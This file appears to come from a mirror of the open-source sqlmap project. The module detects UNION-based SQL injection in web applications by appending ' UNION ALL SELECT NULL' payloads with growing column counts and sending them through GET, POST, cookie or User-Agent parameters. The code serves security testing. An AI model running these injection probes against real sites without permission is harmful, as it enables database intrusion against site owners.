mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-23 10:03:47 +03:00
35708a0b97
Updated command line help message based upon recent developments. Updated copyright note of lib/contrib/multipartpost.py.
116 lines
3.6 KiB
Python
116 lines
3.6 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
the terms of the GNU General Public License as published by the Free
|
|
Software Foundation version 2 of the License.
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
"""
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.session import setUnion
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
|
def __effectiveUnionTest(query, comment):
|
|
"""
|
|
This method tests if the target url is affected by an inband
|
|
SQL injection vulnerability. The test is done up to 50 columns
|
|
on the target database table
|
|
"""
|
|
|
|
resultDict = {}
|
|
|
|
for count in range(0, 50):
|
|
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
|
query = query[:-len(" FROM DUAL")]
|
|
|
|
if count:
|
|
query += ", NULL"
|
|
|
|
if kb.dbms == "Oracle":
|
|
query += " FROM DUAL"
|
|
|
|
commentedQuery = agent.postfixQuery(query, comment)
|
|
payload = agent.payload(newValue=commentedQuery)
|
|
newResult = Request.queryPage(payload, getSeqMatcher=True)
|
|
|
|
if not newResult in resultDict.keys():
|
|
resultDict[newResult] = (1, commentedQuery)
|
|
else:
|
|
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
|
|
|
|
if count > 3:
|
|
for ratio, element in resultDict.items():
|
|
if element[0] == 1 and ratio > 0.5:
|
|
if kb.injPlace == "GET":
|
|
value = "%s?%s" % (conf.url, element[1])
|
|
elif kb.injPlace == "POST":
|
|
value = "URL:\t'%s'" % conf.url
|
|
value += "\nPOST:\t'%s'\n" % element[1]
|
|
elif kb.injPlace == "Cookie":
|
|
value = "URL:\t'%s'" % conf.url
|
|
value += "\nCookie:\t'%s'\n" % element[1]
|
|
elif kb.injPlace == "User-Agent":
|
|
value = "URL:\t\t'%s'" % conf.url
|
|
value += "\nUser-Agent:\t'%s'\n" % element[1]
|
|
|
|
return value
|
|
|
|
return None
|
|
|
|
|
|
def unionTest():
|
|
"""
|
|
This method tests if the target url is affected by an inband
|
|
SQL injection vulnerability. The test is done up to 3*50 times
|
|
"""
|
|
|
|
logMsg = "testing inband sql injection on parameter "
|
|
logMsg += "'%s'" % kb.injParameter
|
|
logger.info(logMsg)
|
|
|
|
value = ""
|
|
|
|
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
|
|
|
for comment in (queries[kb.dbms].comment, ""):
|
|
value = __effectiveUnionTest(query, comment)
|
|
|
|
if value:
|
|
setUnion(comment, value.count("NULL"))
|
|
|
|
break
|
|
|
|
if kb.unionCount:
|
|
logMsg = "the target url could be affected by an "
|
|
logMsg += "inband sql injection vulnerability"
|
|
logger.info(logMsg)
|
|
else:
|
|
warnMsg = "the target url is not affected by an "
|
|
warnMsg += "inband sql injection vulnerability"
|
|
logger.warn(warnMsg)
|
|
|
|
return value
|